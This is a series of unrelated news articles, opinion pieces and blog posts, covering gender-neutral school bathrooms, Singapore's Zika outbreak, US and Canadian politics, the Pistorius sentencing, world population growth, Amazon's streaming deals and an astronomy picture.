in, there was no Erin Brockovich moment, it was very straight-forward."  Onslow College is also about to convert one block of girls' toilets into gender-neutral stalls, after its LGBTQI+ group Club Sandwich took the idea to staff.  "It's all about respecting diversity and meeting the needs of diversity, and I think it is the way to go," principal Peter Leggat said.  RainbowYOUTH national communication manager Toni Duder said Onslow and Wellington High were the first schools she had heard of taking the lead on gender-neutral bathrooms.  "It's phenomenal, and it's inspiring to see students doing it," she said.  Opposition against unisex bathrooms was often raised by people who thought women could be put in unsafe situations with men in shared loos, she said.  "But shouldn't we be addressing why women don't feel safe around men, not why they should have different bathrooms?"  Others argued that once the transgender community got the bathrooms, they might want more.  "But if you couldn't pee without feeling like you were going to get beaten up or teased, wouldn't you want that, too?" she said.  While Secondary Principals' Association of NZ president Sandy Pasley hadn't heard of any other schools fitting full gender-neutral bathroom stalls, she said many were installing individual unisex toilets.  She said some schools were being more flexible with their uniforms to be more inclusive, too.  WHAT IS LGBTIQ+?  LGBTQI stands for Lesbian, Gay, Bisexual, Transgender, Queer or Questioning, and Intersex.  The + stands for other marginalised genders and identities not covered by the LGBTQI acronym.
-Image copyright AFP Image caption Fogging is being carried out across the city-state  Singapore is advising all pregnant women with symptoms associated with Zika, to be tested for the virus.  The city-state has now confirmed 82 locally transmitted cases of Zika, a mosquito-borne virus linked to severe birth defects.  It has initiated a drive to wipe out mosquitoes in affected areas.  On Tuesday, the US joined Australia, Taiwan and South Korea in advising pregnant women against non-essential travel to Singapore.  The latest global Zika outbreak originated in Brazil last year, but has since spread across the Americas.  Image copyright Reuters Image caption Workers are also spraying insecticide in areas vulnerable to mosquitoes  Dozens of cases have been confirmed in Singapore over the past week, some outside the original cluster amongst migrant construction workers in the Aljuneid district in the south-east.  This has sparked concern that the numbers could escalate sharply.  The health ministry has advised pregnant women with symptoms such as fever, rash, red eyes and joint pain, to get tested.  It also said women with male partners who are Zika-positive, should be tested "regardless of whether they have been to Zika-affected areas" and even if they have no symptoms themselves.  Image copyright Getty Images Image caption The government has also advised the public to use insecticide and repellents against mosquitoes  Testing for such women will be provided free, but it "is not routinely recommended for other pregnant women".  Meanwhile workers have been fumigating public areas across the country and existing home inspections for possible mosquito infestation have been stepped up. Sales of insect repellent and insecticide are reported to have increased.  While Zika mostly causes relatively mild symptoms, it is particularly dangerous for pregnant women because it is thought it can cause microcephaly, in which babies are born with abnormally small heads and underdeveloped brains.  The World Health Organization (WHO) is advising pregnant women not to travel to areas with ongoing Zika virus outbreaks.  However, many governments, including the UK's, are advising women who are pregnant or planning to be, to speak to their doctors about any plans to go to Zika-affected areas, and take precautions against being bitten by mosquitoes once there.
-If there’s one message both Republican and Democratic voters sent to their elected representatives in last year’s primary and general elections, it was this: we are tired of political gridlock. Do something useful!  But while most Republican lawmakers are getting ready, with varying degrees of enthusiasm and trepidation, for Donald Trump’s presidency, some Democrats are lost in a foggy swamp of denial, and seem determined to impede the incoming administration by whatever means necessary. What voice of the electorate? How soon they forget!  Let’s look at what stunts have been pulled on Capitol Hill since last November’s election, but before Trump even takes office:  Texas Rep. Sheila Jackson Lee tried to object to the ratification of the Electoral College results, claiming that voter suppression might have invalidated the election.  Democrats pulled an all-night talkathon on the Senate floor, illegal under that body’s rules, to block the repeal of Obamacare.  Senate Minority Leader Charles Schumer presided over a “Make America Sick Again” photo-op, to denounce the Republican plan to scrap the Affordable Care Act.  Sen. Schumer promised to fight “tooth and nail” against Trump’s first appointee to the Supreme Court, to replace Antonin Scalia, before Trump becomes president and well in advance of his submission of a nominee.  Several Democratic members of congress took pictures of themselves on the floor of the House to protest a new rule that will fine selfie-snappers up to $2,500.  What is the point of these diversions? Is it to make government more efficient? Hardly.  It’s just more of the hold-my-breath-til-I-turn-(Democrat)-blue hysterics that began the day after the election, when universities around the country (including my alma mater, Cornell) held cry-ins and brought in grief counsellors for stricken students who could not accept the results. To see elected members of congress acting in the manner of whining college kids is simply sad.  Both parties claim they want to represent the people who sent them to Washington. So, what do the people want?  A Fox News poll last month left little doubt: They want their elected representatives to stop quibbling and relearn the lost art of problem-solving. Sixty-two percent of the people polled by Fox said the country was seriously off track. And when asked who they trusted to fix important problems, the most common response was “market forces and business.” Fewer than half as many people said they trusted government to make their lives better.  Nowhere in the poll do respondents say they want the loyal opposition to engage in gimmicks and obstructionism. To be fair, the new president’s aggressive Twitter habit doesn’t help concentrate the nation’s attention on things that matter, either.  The childish displays of pique that have marked the interregnum between Barack Obama’s administration and the beginning of the Donald Trump era indicate that those Democrats acting out, despite claiming to be listening to the people, have little interest in any opinions but their own.
-Oscar Pistorius is due to be sentenced for the 2013 Valentine’s Day murder of his girlfriend Reeva Steenkamp - facing a minimum of 15 years in prison.  The Olympic and Paralympic athlete’s previous sentence for culpable homicide, South Africa’s equivalent of manslaughter, carried a five-year sentence, but the conviction was later upgraded to murder after an appeal heard by the Supreme Court.  Judge Thokozile Masipa, who presided over Pistorius’s original 50-day trial in 2014, will begin hearing pre-sentencing arguments at Pretoria High Court on Monday, with Pistorius expected to learn the length of his jail term by the end of the week.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  South Africa’s legal system recommends a minimum of 15 years and a maximum of 20 years in jail “unless there are substantive and compelling” reasons for a reduced sentence.  The former paralympian’s legal team is expected to call witnesses who ask for a lenient sentence due to the former athlete’s mental fragility, physical disability, and good behaviour in jail since his manslaughter conviction.  The 29-year-old was released from a maximum security hospital cell last October after almost a year behind bars, before being released to continue his sentence under house arrest at his uncle’s mansion in Pretoria.  He has been denied the right to appeal the murder conviction after the Supreme Court ruled that he had exhausted all his legal options.  Shape Created with Sketch. In pictures: Oscar Pistorius trial evidence Show all 10 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. In pictures: Oscar Pistorius trial evidence 1/10 Trial evidence A mobile telephone, firearm and blood splatter in Pistorius's house 2/10 Trial evidence A gun in Pistorius's house where his girlfriend Reeva Steenkamp was shot 3/10 Trial evidence A mobile telephone and blood splatter in Oscar Pistorius's house 4/10 Trial evidence The bathroom in Pistorius's house where his girlfriend Reeva Steenkamp was shot 5/10 Trial evidence The bathroom in Pistorius's house where he shot his girlfriend Reeva Steenkamp 6/10 Trial evidence The bathroom in Pistorius's house where his girlfriend Reeva Steenkamp was shot 7/10 Trial evidence Oscar Pistorius covered in blood splatter after his girlfriend Reeva Steenkamp was shot 8/10 Trial evidence Oscar Pistorius covered in blood splatter after his girlfriend Reeva Steenkamp was shot 9/10 Trial evidence Oscar Pistorius covered in blood splatter after his girlfriend Reeva Steenkamp was shot 10/10 Trial evidence Oscar Pistorius's artificial legs covered in blood splatter after his girlfriend Reeva Steenkamp was shot 1/10 Trial evidence A mobile telephone, firearm and blood splatter in Pistorius's house 2/10 Trial evidence A gun in Pistorius's house where his girlfriend Reeva Steenkamp was shot 3/10 Trial evidence A mobile telephone and blood splatter in Oscar Pistorius's house 4/10 Trial evidence The bathroom in Pistorius's house where his girlfriend Reeva Steenkamp was shot 5/10 Trial evidence The bathroom in Pistorius's house where he shot his girlfriend Reeva Steenkamp 6/10 Trial evidence The bathroom in Pistorius's house where his girlfriend Reeva Steenkamp was shot 7/10 Trial evidence Oscar Pistorius covered in blood splatter after his girlfriend Reeva Steenkamp was shot 8/10 Trial evidence Oscar Pistorius covered in blood splatter after his girlfriend Reeva Steenkamp was shot 9/10 Trial evidence Oscar Pistorius covered in blood splatter after his girlfriend Reeva Steenkamp was shot 10/10 Trial evidence Oscar Pistorius's artificial legs covered in blood splatter after his girlfriend Reeva Steenkamp was shot  Pistorius himself may be called to the witness stand to give evidence. However, an appearance is viewed as unlikely as it would expose him to potentially damaging cross-examination by prosecuting lawyers.  There is also the suggestion that Barry Steenkamp, Reeva’s father, may also give evidence, after suffering poor health as a result of his daughter’s death and the subsequent trial.  Pistorius denies deliberately killing model and law graduate Steenkamp, saying he mistook her for an intruder when he fired four shots through the locked door of a toilet in his house.  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-There are no two wrestlers in sports entertainment history who are more beloved than Hulk Hogan and John Cena, both of whom have been heroes to children and adults for many years. But kids may be terrified of their latest toys, as the WWE superstars are getting the zombie treatment.  Mattel is showing off a slew of upcoming toys at Comic-Con this weekend, and though we didn’t expect to find any Dread-worthy offerings at their booth, we couldn’t have been more wrong. And whether you’re a wrestling fan or not, we feel you’re going to appreciate these bad boys.  With his eyes whited out and a hunk of muscle ripped off his chest, John Cena is looking a little worse for wear as a zombie, while Hulk Hogan is literally tearing his own flesh off his torso. The Hulkster is known for ripping shirts off his body, but apparently he dug a little too deep this time.  Check out the Hulk Hogan and John Cena zombie action figures below, and we thank Ringside Collectibles for bringing them to our attention. No word yet on a release date, but we encourage you to keep your eyes locked on their site for more information in the very near future.
-For the world, as for his family, the birth of Adnan Nevic was cause for celebration. No less an eminence than the secretary-general of the United Nations attended his arrival, posing with the swaddled child as camera strobes lit a maternity room in central Sarajevo. He was born four minutes past midnight on October 12, 1999, and Kofi Annan had made his way to the hospital like a wise man following a star. There were 5.999999999 billion people on the face of the planet, depending on whose “population clock” you went by. The time had come to designate a six billionth.  The challenges that lay before this infant reflected those of human populations around the globe. His parents, Jasmin and Fatima, were poor. The family lived cheek by jowl in a bleak apartment. His father needed work. Ethnic conflict remained a dormant but ever-present threat to their country. The UN chief offered words of hope, saying this “beautiful boy in a city returning to life should light a path of tolerance and understanding for all people.” But a long and happy life? For that, Adnan Nevic would need a few breaks.  Today, as demographers look ahead to a 10-billion-strong global population, the future of No. 6,000,000,000 is no less clouded. By day, he is an apple-cheeked sixth-grader who loves dogs and cheers on the fabled Spanish soccer team, Real Madrid. At night, he watches over a father stricken by bowel cancer, and sleeps in the same bedroom as his parents in their two-room flat in Visoko, a run-down town 28 km outside Sarajevo. Adnan’s plight could never really stand in for that of all humanity. But it does, to borrow the UN boss’s trope, illuminate the road we will travel over the course of his life.  By 2050, according to the UN’s mid-range estimates, Adnan will count among some 9.3 billion people on the face of the Earth, and 10.1 billion if he lives to see the turn of the next century. Each new addition will pose the same challenges he does. Can we feed, clothe and house them? School them? Provide them with health care and drinkable water? Encoded within these questions are broader ones that speak to our capacity to co-operate, perhaps even to our fate as a species. Will we devise a means to share land and resources? To bring wealth to the planet’s most deprived places? Or will we succumb to the inevitable competition for space and commodities, consigning ourselves to endless wars and humanitarian crises?  In some places, the challenges are so vast as to steal one’s breath. Within two decades, the population of the Democratic Republic of the Congo is expected to balloon to 148.5 million, up from 66 million today. Congo and other poverty-stricken African countries, where fertility rates remain high, will produce much of the world’s future population growth: Germany and Ethiopia now have comparable populations (82 and 83 million people respectively), a UN report notes, but by 2050, Germany’s population is expected to decline to 75 million people, while Ethiopia’s will hit 145 million. It makes the problems of one child in Visoko, Bosnia, look eminently solvable—though even there our best intentions don’t add up to much. Despite brave promises of lifelong financial support at the time of his birth, Adnan’s family now survives on about 250 euros per month. “Had I known back then what I know today, I would never have allowed the UN to declare him the six-billionth person,” Fatima Nevic recently told Maclean’s. “Basically, everyone forgot about us.”  Yet speak to experts whose careers revolve around the population equation, and you’ll also hear notes of surprising optimism—in part because population growth is moderating toward a more manageable pace. With fertility levels slipping in many parts of the world, it will take an estimated 14 years, from 2011 to 2025, for the world to add its eight-billionth person, and another 18 years to add its ninth. Adding number 10 billion won’t happen until 2083, a full 40 years after the nine billionth is born. These forecasts are based on the UN Population Division’s “medium-variant” scenarios, which are considered the most likely to come to pass. The bureau’s highest possible projection puts the world population at an appalling 15.8 billion in 2100, but its lowest would have us at 6.2 billion. That latter figure bears repeating: the human race might actually shrink.  In the meantime, confidence in our capacity to adapt is growing, easing primordial fears about the consequences of unchecked procreation. The debate is increasingly framed by thinkers who view population growth as an expansion of human capital, rather than simply a drain on resources. “Ten billion people is only about one-third more than we already have, and we have plenty of land and activities to occupy them,” says Robert Fogel, Nobel laureate in economics and head of the Center for Population Economics at the University of Chicago’s Booth School of Business. “We’re not going to run out of food, and we won’t run out of factories to employ them. I’m very optimistic that progress will not only continue, but accelerate.”  The cost to the environment remains a key concern, Fogel acknowledges. Global warming, deforestation and the steady extinction of species all speak undeniably to the damage humankind does as it grows. So too does disparity. Countries like Canada and the United States remain disproportionate beneficiaries of human development, while the likes of Somalia and Zimbabwe remain afflicted by misrule, virtually untouched by the transformative forces of women’s education, maternal health programs and contraception. Change must come fast to these places if we are to avert the proliferation of human misery their population curves would suggest. But it will come, say optimists, as surely as it has to parts of the planet once thought impervious to hope.  Last year, Indian entrepreneur Mukesh Ambani and his family moved into the world’s first billion-dollar home. At 27 stories, it boasts a yoga studio, a cinema, and reportedly has an “ice room” with man-made snow flurries to cool off its guests. There are three helipads, and parking spots for 160 vehicles underground. The rooftop offers a view all the way to the Arabian Sea.  The notion of such an extravagant home towering over Mumbai—a city where eight million live in slums—would strike many as crass. But it’s also a sign of the incredible growth India has experienced over the last few decades, a story reflected in the arc of Ambani’s own company, Reliance Industries Ltd., which his father started back in the 1950s; it’s now the largest private sector company in India. At the forefront of the country’s breathtaking economic expansion, observers say, is its demography. India’s population is young and growing: in 2010, the median age in India was about 25, UN figures show (in Canada, the median age last year was 40). In Mumbai, sprawling slums are slowly—and often painfully—making way for strip malls, condos and residential complexes.  This isn’t the traditional portrait of population growth. From 1960 to 2000, the world’s population doubled from three to six billion people, a change that University of Michigan economist David Lam calls “absolutely, historically unprecedented.” Observers were worried we’d run out of resources and room for everybody, yet people are wealthier, healthier and better fed than ever—and it wasn’t just oligarchs like Ambani who benefited. In fact, “the biggest improvements were in the poorest countries, with the exception of Africa,” says Lam, president of the Population Association of America, a professional organization for those who study population issues. In developing regions, the number of people living on less than $1.25 per day dropped from 46 per cent in 1990 to 27 per cent in 2005, according to UN figures. Although the absolute number of hungry people has climbed since 1990 (from 815 million to 925 million) due to population growth, the proportion of them has actually gone down. In the developing world, about one in four children under age five was underweight in 2005, the UN says, down from almost one in three in 1990. And as India’s population more than doubled from 1960 to 2000, Lam says, its food production more than kept up: it tripled.  This did not come as a surprise to academics delving into the relationship between wealth and population enlargement. Every new wave of humanity, reasoned the American economist Julian Simon in 1981, makes more resources available, because “productive and inventive minds help find creative solutions to man’s problems.” Simply put: there are more people with big brains around, hatching ever more ingenious ideas.  Larger populations also mean bigger markets, which allow for mass production and greater specialization of skill. “Consider an assembly line in a car factory,” says Walter Williams, an economics professor at George Mason University in Fairfax County, Va. “You have many individuals, each performing very specialized tasks. If there were only 100 people to buy the cars, why would you do it?” The result, adds Williams, manifests itself at the other end of the production chain, in the form of lower priced goods available to more people. Specialization has proven particularly important in keeping food prices low, as technology and mechanization allow for mass harvesting and processing.  More people speak to the value of big cities, which concentrate labour and talent, while permitting efficient movement of goods and services. The virtues of high population density can seem hard to believe when confronted with the masses of humanity in, say, the shanties around Dhaka. But it is central to the story of Asia’s economic rise. Yes, the number of people living in India’s slums has grown. But so too has the life expectancy of its people, from 44 in 1960 to 66 today. Similarly in China, where cities have been the engine of its three-fold GDP growth over the past decade—so much so that they are draining the countryside of peasant farmers.  What these numbers don’t show is the toll all this activity takes on the planet, and that’s where human-capital theory starts to wobble: our company of 10 billion people won’t be much fun if we’re all living on a barren, overheated planet. If the big brains of the future are half as smart as these economists say, they will weigh the benefit of every new strip mall, coal mine and billion-dollar house against increases in the Earth’s temperature, decimation of farmland, or fish species lost.  Growing up in Colombia, Camilo Mora recalls seeing an ad about population growth on television. “It showed a small aquarium,” he says, “with two fish, then four, then eight, then 16. Eventually, you couldn’t fit any more in there, and it said, ‘Start thinking.’ ” Now a marine biologist at Dalhousie University in Halifax, Mora studies the impact of human population on coral reefs, Earth’s most diverse ecosystems. In a new study, he and colleagues found that a reef’s biomass (its amount of living matter) was directly impacted by human density, since nearby populations bring overfishing, land use and coastal development. It’s potentially very bad news, since 75 per cent of the world’s coral reefs are near human settlements, and 82 per cent of countries with coral reefs are expected to double their populations within the next century.  Scientists believe our planet could be entering its sixth mass extinction—one comparable to the asteroid impact that may have killed off the dinosaurs 65 million years ago—largely propelled by human activity. (A mass extinction occurs when Earth loses more than three-quarters of its species in a geologically short period.) Beyond countless plants and animals that may be wiped off the planet, other resources are under strain. Per capita water consumption is rising twice as fast as the global population, and over the next two decades our need for fresh water will be 40 per cent greater than today’s, the UN predicts. By 2025, two-thirds of the world’s population could be living under water-stressed conditions (when demand can’t be fully satisfied). Dwindling oil reserves have many worried about an impending energy crisis. Climate change threatens to destroy crop yields through drought and storms. With the planet already under such pressure, many question if we can support another three billion people—let alone the nearly seven billion we’ve got.  Over-consumption is a rich-world problem, and the world is getting richer. Canadians consume about 25 tonnes of four important resources (minerals, fossil fuels, ore and biomass) per year, according to a new report from the UN Environment Programme, compared to four tonnes for the average Indian. And one American’s carbon dioxide emissions are equal to those of about 250 Ethiopians. As the standard of living rises in developing countries, people there are also consuming more: humanity is set to eat up three times more resources by 2050, driven largely by increasing population and prosperity, the UN Environment Programme says.  Even given these challenges, Charles Kenny, a development economist in Washington, believes we can sustainably support 10 billion people. “It will take political action and big dollar amounts,” he says, “but amounts we can afford.” Whether governments and voters will agree, though, is another question. The UN’s Intergovernmental Panel on Climate Change recently reported that renewable energy sources—like solar and wind power—could meet as much as 77 per cent of global energy demands by the year 2050, but it will cost $5.1 trillion up to 2020, and another $7.2 trillion from then to 2030.  While Kenny admits he gets “depressed” at the state of global agreements on climate change, there is some precedent for success. The Montreal Protocol, an international treaty signed in 1987 with the aim of reducing the hole in the ozone layer, put controls on the use of ozone-thinning chemicals like chlorofluorocarbons (or CFCs) and has been called a resounding success: experts now say the ozone layer should return to its pre-1980 levels by mid-century (repairing the hole over Antarctica will take a bit longer). Addressing environmental concerns “will get easier as technology improves,” Kenny says, and with some of the world’s greatest minds turned to solving this problem, we might actually be able to figure it out. Whether we’ll have the political and personal will to reconsider energy policy, water use—even our commute to work, or red meat intake—is a more immediately pressing question.  It is a query properly directed at the G20 countries, because the part of the world where the population is growing fastest remains, developmentally speaking, stranded at the roadside. Sub-Saharan Africans use less power, water and food than anyone on Earth, but they’re the first to feel the effects of consumption in other parts of the world. In 2008, for example, while North Americans were complaining about a surge in the price of barbecue steaks—a direct result of growing global demand for grain and energy—families in Mauritania stopped sending their children to school so they could afford to buy bread.  On its face, the band of despair reaching from Benin to Africa’s eastern horn would seem to contradict any theories suggesting that humanity is, in fact, a resource. This region is home to the world’s worst levels of life expectancy, education, disease and poverty, despite runaway fertility rates. A woman in Rwanda has, on average, 6.4 children in her life; in Mali, the rate is even higher (compare that to Canada, where it is below the replacement level of 2.1). Each year, more of these children pour into cities, crowding slums in places like Bulawayo, Kinshasa, or Nairobi. Reducing birth rates would, at first glance, seem a solution to these scenes of despair.  Not so, argue free-market thinkers like Walter Williams, the George Mason University economist. Sub-Saharan Africa might have high birth rates, he points out, but its population per hectare of land is relatively low, suggesting these countries are not overcrowded. What they are is crooked: 16 central African countries rank in the bottom quartile of Transparency International’s most recent annual corruption list—Somalia and Sudan chief among them. As Williams notes, corruption and privation go hand in hand. Development money gets embezzled or stolen. Food shipments get commandeered and sold on black markets. “Africa’s problem is not population growth,” he says. “It’s bad government.”  There are potential remedies to the region’s problems any good politician would try. One is improved farming practices—a long-standing goal of agronomists who have watched in despair as crop yields in African countries stagnated. “We don’t have to do new research to make gains in productivity,” says Ryan Cardwell, a professor of agricultural economics at the University of Manitoba. “There is still a lot of arable land available in some of these countries.” But the proper use of resources to make that happen—from seed stock to chemical fertilizer to irrigation equipment—requires reliable local governments on board with the project.  Another step is investing in education, which would carry the added benefit of pushing down fertility rates. Schooling girls, in particular, leads to sustainable populations, notes Lam, because better-schooled women tend to have fewer children, and invest more in their kids. Yet in 19 African countries, fewer than five per cent of girls finish secondary school. “The 20th century began with very few people completing primary education, and ended with almost everyone doing it,” observes Joel E. Cohen, head of the Laboratory of Populations at Rockefeller University and Columbia University, who notes that some areas of sub-Saharan Africa and South Asia remain the exception. “I believe we will see, by the middle of the next century, a universal acceptance that every child should have a good secondary education, too.” All sorts of societal advantages would flow from this. “Educated people demand a more responsive government,” he says. “They have a better understanding of their bodies, a better capacity for work, and a preference for children of quality, rather than quantity of children.”  It’s the sort of transformation that can take hold when long-held precepts are set aside, when authorities stop treating population growth itself as the root of all evil. If that sounds naive, consider the crisis unfolding in Russia, where—far from enhancing life—population shrinkage has unleashed a cascade of economic and social ills. The country’s population is expected to shrink from 142.9 million people today to 111 million by 2100, with one in five people projected to be over the age of 65 by 2025. With the country’s economic growth in peril, Prime Minister Vladimir Putin has announced plans to invest billions in baby bonuses and health initiatives aimed at boosting the average life expectancy. Yet the obvious remedy of mass immigration remains off the table. The perceived threat to Russian identity has triggered a wave of nationalist xenophobia that has discouraged newcomers and limited the options of political leaders.  Here is where nations like Canada enjoy a huge advantage. This country welcomes more immigrants per capita than any other in the developed world (about 250,000 each year), and our immigration system increasingly targets the world’s best and brightest. We are also comparatively open to the movement of labour, and with some 13 per cent of us expected to be age 80 or older by the year 2100, we will need all of the newcomers we can get. But unlike Russia, we hold the remedy in our hands: we are, and always have been, a country geared to maximize human capital.  For those in less blessed corners of the world, this is a familiar story. Rich countries get richer; the poor trudge on. Our test lies in our capacity to help those whose lives are comprised of equal parts promise and struggle. People like Adnan Nevic, who boasts an 80 per cent average in school, yet lives in a world circumscribed by poverty. Back in 1999, the UN helped find his father a job as boiler operator at Visoko’s main cinema. But Jasmin is now too sick to work. Private “donors” who seized on the occasion of Adnan’s birth to gain a bit of publicity promised money to help buy the family a house—then gave less than half what they pledged. Even with 100 euros per month committed by the City of Sarajevo to celebrate Adnan’s birth, the Nevics can’t afford to enroll him in organized soccer.  Each year on his birthday, friends, family and the occasional government official stop by to wish Adnan happy returns. “They stroke my head,” he tells Maclean’s, “and then they disappear.” This October, the UN Population Fund plans to mark the next billion-person milestone with an international campaign around themes like poverty reduction and educating girls. It will not, however, include the ceremonial designation of a seven-billionth person, say officials, and that’s probably just as well. The measure of humanity, after all, lies not in the number of people we can cram onto the face of the planet, but how we treat the ones already here.
-How big a role did the guns 'n' ammo crowd play in the defeat Calgary West MP Rob Anders by former Alberta PC cabinet minister Ron Liepert for the Conservative Party nomination in the new Calgary Signal Hill riding?  It's impossible to say with any certainty, of course, because there were a bazillion and one perfectly good reasons for the Conservative Party members who got to vote in the intramural nomination election to dislike Anders or find him an embarrassment to their party.  It was not for nothing that Anders was known as "Canada's worst MP" -- a sobriquet he was stuck with not by some mere blogger like the author of this post, but one of the most conservative columnists in Canada writing for one of the country's most avowedly conservative newspapers, the candidate's own home town Calgary Herald.  Not to put too fine a point on it, Anders demonstrated for many years he wasn't the sharpest knife in the drawer on many topics, ranging from his opinions about Nelson Mandela, to his weird conspiracy theory about the circumstances surrounding Jack Layton's death, to his choice of locations to catch forty winks.  Moreover, to confuse matters further, the voter pool in the Calgary Signal Hill Constituency Association nomination vote was small, and not necessarily all that representative of the overall electorate. Plus, the man who beat him, Liepert, is no dummy, whatever you may think of his past performance as Alberta's health minister, and also not exactly a raging liberal by anyone's lights.  So there were lots of fine reasons for Anders to be spent packing without any help from his pals in the oxymoronic sounding "firearms community."  Just the same, it's said here, it sure didn't help when someone leaked -- presumably as part of an effort to help the candidate -- a photo of Anders packin' heat and smiling idiotically at the anonymous cameraperson.  In the photo, he is shown in a Charlie's Angels pose with a like minded hoplophilic hopeful from another Conservative nomination race in a nearby Southern Alberta riding. As was observed in this space at the time the photo first surfaced, it wasn't just Anders' butchy pose in a 4.5-litre hat with what appeared to be like a .44 calibre revolver that initially caused the stuff to hit the fan, but the fact one of the targets in the background, a poor quality drawing of a bearded man in a turban, provided an opportunity for the politician's opponents to accuse him of setting up an entire minority group for hatred, contempt and violence.  Unsurprisingly, this observation sent the often-xenophobic guns 'n' ammo crowd into a paroxysm of hysteria and paranoia. The caricature, they quite rightly pointed out tirelessly and repeatedly, was a zombie Osama bin Laden. Therefore, only a limp-wristed, self-hating liberal would have objected, just the kind of snivelling hoplophobic who wouldn't have said a thing if the poster had shown a blond-headed German… Yadda-yadda-yadda.  As readers can see, I've received so many of these repetitive little billets-doux that I am now able to write them myself for entertainment!  But the appearance of the image on the target is really a side issue. The point is that the gun crowd has been passionate, well organized and effective in the support of their cause -- which is entirely to their credit and, along with Prime Minister Stephen Harper's utterly cynical commitment to the use of wedge issues, no matter how harmful or divisive, part of the reason for their success.  But this has led over time to a significant portion of this group becoming, repetitive, obsessive, boring, hysterical, extremely angry, paranoid and unable to hold back when their own cause would be manifestly assisted by their silence.  In fact, saying something like this makes them so angry that it is likely to prompt a flood of abuse that responds, not to the point being made, but to what its ditto-head authors understand or imagine the author's gun-grabbing motivation might be for even thinking about the issue.  In other words, this vocal, well-organized … and relatively small … minority has through its own actions tipped for the Conservative party from being an asset column to being a serious liability.  Firearms enthusiasts may not recognize this -- indeed, they are almost certain to deny it vociferously, as is their right. The Harper Conservative Party, given its addiction to wedge issues and enthusiasm for fundraising from fringe groups affiliated with its "base," may not be ready to believe it either.  Still, even with the vast majority of voters and political watchers having any idea what Liepert's position on firearms ownership may be -- for all I know, he may be as enthusiastic a shooter as Anders -- it seems likely the support of this group hurt Anders more than it helped him in an urban riding like Calgary Signal Hill.  What works in a place like the mainly rural Macleod riding was the wrong message entirely in a venue like Signal Hill, where an awful lot of voters either don't care about guns or find them both threatening and more than a little déclassé.  In other words, even without any concerns whatsoever about the image on the targets in the background, Anders was sending a wrong message by appearing in a photo wearing a cowboy hat and holding a big pistol when it wasn't Stampede Week.  In that regard, the outcome in Signal Hill may well have tested and established the limits of the American-style right-to-keep-and-bear-arms strategy that has worked well for the Conservatives up to now.  In future, as a result, it may behoove Conservative politicians who stand foursquare for wide open gun ownership to keep their own counsel about this opinion, lest they suffer a similar fate to Anders.  Indeed, what the gun-nutz faction of the gun-owning population may have proved with their contribution to Anders' unsuccessful nomination battle is that their caterwauling has started to really hurt the party that's been their best friend in recent years. And it didn't just hurt them in Quebec, but even out here in the supposedly wide-open and gun-totin' West.  For this reason, it might be nice if Anders had the chance to run again in another riding -- and lost again -- just to make the point crystal clear.  With friends like these, maybe the Harper Conservatives don't really need enemies. But then -- as restaurant owners who use foreign labour to boost their profits have just found out -- having friends like the Conservatives isn't always the best deal either.  Dumber than a sack of Anders? Count on it that this group of Anders supporters will neither recognize this possibility nor conduct themselves accordingly.  This post also appears on David Climenhaga's blog, Alberta Diary.
-Share  Might cord cutters represent those with more discerning taste when it comes to programming? If Amazon’s latest move is any indication, this may very well be the case. The company has dropped several reality TV programs from its latest licensing deal with Viacom for its Instant Video platform, including Mob Wives and Teen Mom, reports Bloomberg.  It makes sense – cord cutters often want to get away from not only the high prices of traditional linear TV packages, but also having to pay for, and scroll through, tons of content in which they have no interest in viewing. And a lot of that content consists of what is often considered to be low-brow reality shows that are often labeled “guilty pleasures,” like watching middle-aged wealthy women pull each other’s hair and fight like dogs, or unfit 16-year-olds popping out babies that their parents will inevitably take care of. It doesn’t exactly sound like “Prime” content.  Related: Amazon Prime Instant Video finally comes to Android tablets  The move comes, according to Bloomberg, at a time when reality TV for online audiences is causing “viewer fatigue.” The deal also serves as an indication about the differences in online platforms and traditional TV when it comes to content acquisition.  Cable networks have a lot of airtime to fill, and need content to sell advertising. That’s why they’re hesitant to cut reality shows, which offer low-production cost, and relatively high returns when it comes to revenue. Streaming services like Amazon Instant Video and Netflix, on the other hand, have more freedom than cable networks as their revenue is based on subscriptions, not ad sales. That allows them to option highly-rated original series, popular specialty network television shows, library title sitcoms, movies, and kids’ programming, without consideration about programming with low-production cost that brings in big ad dollars.  Amazon will reportedly be taking the money it saves from opting out of these shows to invest in more original programming, and acquiring content from other suppliers that my better suit its subscribers.  This isn’t the first such move by Amazon. Earlier this year, the company also decided not to renew a deal with A+E to offer shows like Pawn Stars and Storage Wars. It seems such reality TV shows that typically skew towards either primarily male audiences or female audiences don’t quite fit in with the streaming TV mold.  This is good news for those who seek a reprieve from the talking heads of reality TV — i.e. viewers that often fall under the cord-cutter banner. While many refer to today as the golden age of television, with stellar programming that has taken big Hollywood stars onto the small screen, it’s also an era of television that falls at the other end of the spectrum, full of competition and reality shows which many viewers flee from when unconstrained by the bounds of cable bundles.  That said, for those who love to dive into a guilty reality pleasure once and awhile it seems that — when it comes to Amazon, anyway — a line is being drawn that conveys a distinct message: Love reality TV? Stick with cable.
-Astronomy Picture of the Day Discover the cosmos! Each day a different image or photograph of our fascinating universe is featured, along with a brief explanation written by a professional astronomer. 2009 January 16  ISS: Reflections of Earth  Credit & Copyright: Ralf Vandebergh  Explanation: Remarkable details are visible in this view of the orbiting International Space Station (ISS), recorded with a small telescope on planet Earth through a clear twilight sky. Seen on December 27th at about 75 degrees elevation and some 350 kilometers above the planet's surface, parts of the station, including the Kibo and Columbus science modules, even seem to reflect the Earth's lovely bluish colors. The image also shows off large power generating solar arrays on the station's 90 meter long integrated truss structure Just put your cursor over the picture to identify some of the major parts of the ISS.
-WHEN THE RIGHT’S RHETORIC TURNS VIOLENT…. In the wake of last month’s shootings in Tucson, it was common for folks on the left to suggest the right relied too often on violent rhetoric. Conservatives, invariably, were outraged.  There is, however, a rationale behind the assumptions. For example, incidents like these come up from time to time.  If there’s a compelling defense for a state deputy attorney general to recommend use of “live ammunition” and “deadly force” against pro-labor protestors, I can’t think of it.  On a related note, Jay Bookman reports this morning that the Service Employees International Union will hold a rally in Atlanta today, at Georgia’s state capitol. Conservative activists have been encouraged to attend — with firearms.  Update: The Indiana deputy A.G. has reportedly been fired.
